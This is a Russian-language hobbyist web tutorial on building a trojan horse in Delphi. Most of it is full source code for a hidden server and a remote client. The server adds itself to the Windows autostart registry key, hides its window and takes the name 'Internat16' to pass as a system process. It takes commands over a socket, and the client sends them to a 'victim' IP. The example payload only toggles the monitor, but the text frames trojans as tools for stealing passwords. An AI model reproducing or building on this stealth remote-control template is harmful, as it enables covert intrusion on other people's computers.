В начало

 

X- PLANET

| НАЧАЛО |       | СТАТЬИ |      | DOWNLOAD |     | О ПРОЕКТЕ |

Троянский конь

Начало Сегодня я хочу рассказать, как можно в Дельфи быстро и просто создать троянского коня (дальше просто "троян").Итак, начинаем. Запускайте Дельфи, пока она грузится, я расскажу, что такой троян. Это программа, которая. теоретически, предназначена для удаленного управления компьютером. Пример легального использования - настройка компьютера клиента для оптимальной работы в интернет. Хороший админ пишет себе такую программку и, не выходя из дому, за несколько минут настраивает компьютер пользователя. Однако, программы такого типа достаточно часто используются для воровства паролей, взлома систем и д. д. Что же он собой представляет? Это такая программа, которая постоянно висит в памяти компа жертвы и ожидает команд "хозяина". При получении соответствующей команды, она, например, передает через интернет файл паролей доступа в интернет. Он, конечно, зашифрован, но расшифровка - дело техники. Дельфи у вас уже загрузилась, поэтому приступаем к программированию. Для начала, бросим на форму компонент TServerSocket с закладки Internet. Он служит для приема сообщений. В свойстве Port напишите любой номер порта больше 1024 и запомните его. Теперь создадим обработчик события "OnCreate". Там пишем следующее:

 

procedure TForm1.FormCreate(Sender: TObject);
var
   RegIni:TRegIniFile;//объявляю переменную для работы с реестром
begin

//последовательно открываю разделы реестра
RegIni:=TRegIniFile.Create('Software');//инициация переменной
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software',true);
RegIni.OpenKey('Microsoft',true);
RegIni.OpenKey('Windows',true);
RegIni.OpenKey('CurrentVersion',true);

//записываю в разделе автозапуска имя и путь к своему гениальному творению

//Application.ExeFilename - это и есть путь к трояну
RegIni.WriteString('RunServices', 'Internat16.exe', Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;//активизирую компонент
end;

Надо дописать в раздел uses слово Registry.

Теперь напишем обработчик события OnDestroy. В нем всего одна строка - ServerSocket1.Active:=false; 

Затем заходим в меню Project - Options. Переходим на закладку "Forms" и убираем Нашу форму из списка авто создаваемых. Для этого выделяем Form1  и нажимаем на клавишу >. Так как мы убрали форму из списка авто создаваемых. придется создавать ее самостоятельно.

Опять заходим Project - View source. Вместо того что там написано, напишите следующее:

program Internat16;

uses
Forms, Windows,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
var
WhEvent:Thandle;//объявляю пустое событие

begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);//устанавливаем параметры окна - //невидимое
Form1:=TForm1.Create(nil);//создаю форму
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');//инициирую пустое событие
while (true) do//запускается цикл ожидания несуществующего события
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;//получаем управление, проверяем, были ли //сообщения; если были - выполняем.
end;
end.

Это все написано для того, чтобы скрыть нашу программу от жертвы. (правда. нажав Ctrl+Alt+Del, можно все равно увидеть ее в процессах) Я дал своей проге имя Internat16. Это имя не вызовет подозрений только у чайника. Дело в том, что есть такой очень важный процесс Internat, под него я и маскируюсь. Кстати, не забудьте сменить иконку проги. иначе та, что по умолчанию, выдаст с головой. Мою иконку можно увидеть в исходнике в конце статьи.

Теперь переходим к самому интересному - выполнению команд. Я не одобряю взлом и вандализм, но не прочь прикольнуться. Наш троян будет гасить и врубать монитор. Итак, для компонента TServerSocket пишем обработчик события OnClientRead. 

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);

var
s:String;

begin

S:=Socket.ReceiveText;//переменной S присваиваем тот текст, что мы получили //от клиента

if s='MonitorGasi' then //если получено сообщение о том, что надо вырубить //монитор, то вырубаем
SendMessage(Application.Handle, WM_SYSCOMMAND,SC_MONITORPOWER,0);
if s='MonitorVrubi' then //аналогично, если надо включить
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,-1);

end;

 

Для того, чтобы скомпилировать приложение, не запуская, нажмите Ctrl+F9. Если вы все-таки будете запускать его, то не забудьте удалить запись в реестре по адресу: HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/ RunServices/Internat16

 

С серверной частью окончено, займемся клиентской.

Закройте существующее приложение и создайте новый проект. Там надо поместить TClientSocket с закладки Internet, Две RadioButton и поле ввода (Edit) с закладки Standart.

Теперь для первой RadioButton для события OnClick пишем

 

ClientSocket1.Host:=Edit1.Text; //Задаем имя компа в локальной сети

ClientSocket1.Active:=True; //активизируем компонент

ClientSocket1.Socket.SendText('MonitorGasi'); //посылаем сообщение

ClientSocket1.Active:=False; //вырубаем компонент

 

Для второй - то же самое, только в третьей строчке 

 

ClientSocket1.Socket.SendText('MonitorVrubi');

 

Если надо прикольнуться через инет, то тогда в первой строке пишем

ClientSocket1.Address:=Edit1.Text;

И вводим в строку ввода IP адрес жертвы

 

Исходник

Copyright© - Константин, www.konstantin17.narod.ru/

Карта сайта
Tips & Tricks
DOWNLOAD
Статьи
Рассылка
Гостевая
Учеба
Ссылки
О проекте
Реклама
 

 

Hosted by uCoz